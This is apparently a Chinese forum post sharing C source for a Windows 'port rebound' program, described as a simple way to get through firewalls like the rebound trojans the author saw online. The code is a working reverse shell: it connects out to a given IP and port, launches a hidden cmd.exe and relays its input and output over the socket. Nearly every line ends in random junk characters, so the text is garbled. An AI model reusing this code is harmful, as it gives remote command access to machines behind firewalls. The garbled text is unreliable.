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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7ILb&JQ!%{  
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/* ============================== (Q(=MEar  
Rebound port in Windows NT hEhvA6f,  
By wind,2006/7 Bcl6n@{2f  
===============================*/ a1dkB"Zp.p  
#include WJU[+|J  
#include ^!A@:}t>  
%LjhK,'h  
#pragma comment(lib,"wsock32.lib") qxbGUyH==  
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void OutputShell(); L S%;ZKJ  
SOCKET sClient; ~{cG"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |SX31T9rG  
b|Sjh;  
void main(int argc,char **argv) ?v,4seRuz  
{ S;tv4JY  
WSADATA stWsaData; lvp8{]I<  
int nRet; >Q#\X=a>  
SOCKADDR_IN stSaiClient,stSaiServer; fx=HKt  
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if(argc != 3) ~O8Xj6  
{ ;d<RP VE:  
printf("Useage:\n\rRebound DestIP DestPort\n"); sjj,q?  
return; d$5\{YLy  
} L %20tm  
GUcGu5tw:  
WSAStartup(MAKEWORD(2,2),&stWsaData); {?uG] G7  
x5(B(V@b  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w%?6s3   
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stSaiClient.sin_family = AF_INET; |R3A$r#-  
stSaiClient.sin_port = htons(0); uRnSwJ"hE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?#gYu %7DN  
6b-E|;"]:^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (5h+b_eB  
{ l*-$H$  
printf("Bind Socket Failed!\n"); Jty/gjK+  
return; ^kh@AgG^  
} zlhI\jRdc  
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stSaiServer.sin_family = AF_INET; aTFT'(O,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m\eYm;R Vj  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oGKk2oP  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Dssecc'  
{ h(gpq SN  
printf("Connect Error!"); mw fl x8  
return; VRA0p[  
} ~#PC(g  
OutputShell(); @QbTO'UzK`  
} ay>u``$R  
,}23  
void OutputShell() "yf#sEabV  
{ !b{7gUjyI  
char szBuff[1024]; :<PwG]LO  
SECURITY_ATTRIBUTES stSecurityAttributes; [DSD[[ z[  
OSVERSIONINFO stOsversionInfo; HwxME%w  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #G\;)pT  
STARTUPINFO stStartupInfo; Np2.X+  
char *szShell; l~'NqmXe  
PROCESS_INFORMATION stProcessInformation; cIOM}/gqv  
unsigned long lBytesRead; Rd:wMy$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9#)&  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (4"Azo*~![  
stSecurityAttributes.lpSecurityDescriptor = 0; L9^h .Y7  
stSecurityAttributes.bInheritHandle = TRUE; V[fcP;   
!A=>B=.|D  
Y N*"q'Yz_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hq."_i{I  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -iySU 6  
vJfj1 f  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |yYu!+U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2>h.K/pC  
stStartupInfo.wShowWindow = SW_HIDE; n+H);Dg<8  
stStartupInfo.hStdInput = hReadPipe; DcX,o*ec!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B`/p[U5  
,#hx%$f}d  
GetVersionEx(&stOsversionInfo); BiI`oCX  
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switch(stOsversionInfo.dwPlatformId) c5AEn -Q  
{ a[ A*9%a  
case 1: X%]m^[6  
szShell = "command.com"; We:b1sZR  
break; -=VGXd  
default: I1fUV72  
szShell = "cmd.exe"; e>Q_&6L  
break; b^C2<'  
} 'G8.)eTA'  
[.LbX`K:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n81z 0lnr  
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send(sClient,szMsg,77,0); #7"*Pxb#A  
while(1) 65AG# O5R  
{ D9-D%R,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4 t< mX  
if(lBytesRead) rh$q]  
{ +5oK91o[y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bqSp4TI  
send(sClient,szBuff,lBytesRead,0); Fpckb18}(O  
} +lED6 ]+%  
else k \V6 q9*  
{ Gb_y"rx?0  
lBytesRead=recv(sClient,szBuff,1024,0); Hl b%/&  
if(lBytesRead<=0) break; $|n#L6k  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3%DDN\q\u  
} " twq#Alx  
} +"F9yb  
JVt(!%K}&  
return; >'e(|P4  
}
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